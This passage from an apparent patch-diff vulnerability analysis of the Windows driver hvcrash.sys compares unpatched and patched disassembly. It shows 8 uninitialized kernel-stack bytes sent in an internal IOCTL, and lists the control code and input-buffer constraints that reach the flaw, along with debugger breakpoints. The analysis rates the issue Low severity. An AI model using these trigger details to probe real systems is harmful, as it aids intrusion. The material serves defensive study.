&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002E99&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_1C&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;12&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x3b&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x12&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002EA0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002EA4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_48&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="n"&gt;gth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;16&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002EAB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_20&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x37&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002EB3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_50&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;descriptor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x7&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x3f&lt;/span&gt;&lt;span class="mf"&gt;..&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x46&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;var_18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;are&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NEVER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;written&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched initialization sequence (&lt;code&gt;HvCrashWriter::Initialize @0x1C0002FE0&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0003000&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0003002&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_20&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;NEW&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x37&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0003006&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_58&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000300A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_48&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000300E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0003012&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_18&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FIX&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x3f&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0003016&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_20&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000301A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_20&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;then&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x37&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;6&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0003048&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_20&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;12&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x3b&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x12&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0003053&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_48&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="n"&gt;gth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;16&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The net effect: the patched build additionally writes &lt;code&gt;qword [rbp+0x3f] = 0&lt;/code&gt; (&lt;code&gt;var_18&lt;/code&gt;), defining the 8 bytes the unpatched build left stale.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The request that carries the buffer:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002EF2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;WdfFunctions_01015&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002EF9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="n"&gt;EC080h&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="n"&gt;ernal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IOCTL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;cont&lt;/span&gt;&lt;span class="n"&gt;rol&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002F11&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="n"&gt;D0h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KMDF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;tab&lt;/span&gt;&lt;span class="n"&gt;le&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x5d0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002F24&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;57&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_58&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WDF_MEMORY_DESCRIPTOR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;struct&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002F34&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__guard_dispatch_icall_fptr&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;issued&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The indirect target is an entry in &lt;code&gt;WdfFunctions_01015&lt;/code&gt;, the KMDF (Kernel-Mode Driver Framework) function dispatch table, at table offset &lt;code&gt;0x5d0&lt;/code&gt;; the preceding call at table offset &lt;code&gt;0x150&lt;/code&gt; obtains the I/O target handle. These are WDF framework calls, not an inter-partition/VMBus interface.&lt;/p&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Entry:&lt;/strong&gt; a WDF device I/O control request with control code &lt;code&gt;0x2D164B&lt;/code&gt; reaches the driver's I/O queue, dispatched by &lt;code&gt;HvCrashDeviceControl&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Payload constraints (validated in &lt;code&gt;CrashdumpShim::GetDumpInfo&lt;/code&gt;):&lt;/strong&gt; the retrieved request input buffer is &lt;code&gt;0x48&lt;/code&gt; bytes, with:&lt;/li&gt;
&lt;li&gt;DWORD at offset &lt;code&gt;0x0&lt;/code&gt; equal to &lt;code&gt;0x48&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;DWORD at offset &lt;code&gt;0x4&lt;/code&gt; equal to &lt;code&gt;0x1&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;DWORD at offset &lt;code&gt;0x8&lt;/code&gt; non-zero and &lt;code&gt;&amp;lt; 0x10&lt;/code&gt;, and not equal to &lt;code&gt;0xf&lt;/code&gt; (&lt;code&gt;0xf&lt;/code&gt; returns early without reaching the writer).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Execution:&lt;/strong&gt; on a passing payload the driver allocates the writer object and calls &lt;code&gt;HvCrashWriter::Initialize&lt;/code&gt;, which builds the descriptor and issues the internal IOCTL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Effect (unpatched):&lt;/strong&gt; the input buffer of that internal IOCTL contains a 16-byte structure whose last 8 bytes hold stale kernel-stack data rather than defined values.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;6. Impact &amp;amp; Limitations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; 8 bytes of uninitialized kernel-stack memory placed into the input buffer of an internal device I/O control request that is sent to the next driver in the device stack.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Boundary:&lt;/strong&gt; the source and the recipient are both kernel-mode (ring 0). There is no verified path making the trigger reachable from an unprivileged user process, and no verified path by which the 8 bytes are returned to, or observed by, a lower-privileged or external party. The value of the 8 bytes is whatever the prior stack frames left; no specific sensitive content is demonstrable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nature:&lt;/strong&gt; defense-in-depth hardening against use of uninitialized memory (CWE-908) on the crash-dump writer setup path. This is why the severity is Low rather than a directly exploitable information-disclosure primitive.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;p&gt;Attach a kernel debugger to a system running the unpatched &lt;code&gt;hvcrash.sys&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints (RVAs; add the actual load base):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;; vulnerable function entry
bp hvcrash+0x2E68

; the request-issuing call, just before the buffer leaves the function
bp hvcrash+0x2F34
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;What to inspect at &lt;code&gt;+0x2F34&lt;/code&gt;:&lt;/strong&gt;
- The descriptor buffer pointer is stored at &lt;code&gt;[rbp+0x7]&lt;/code&gt; and points to the 16-byte structure at &lt;code&gt;rbp+0x37&lt;/code&gt;.
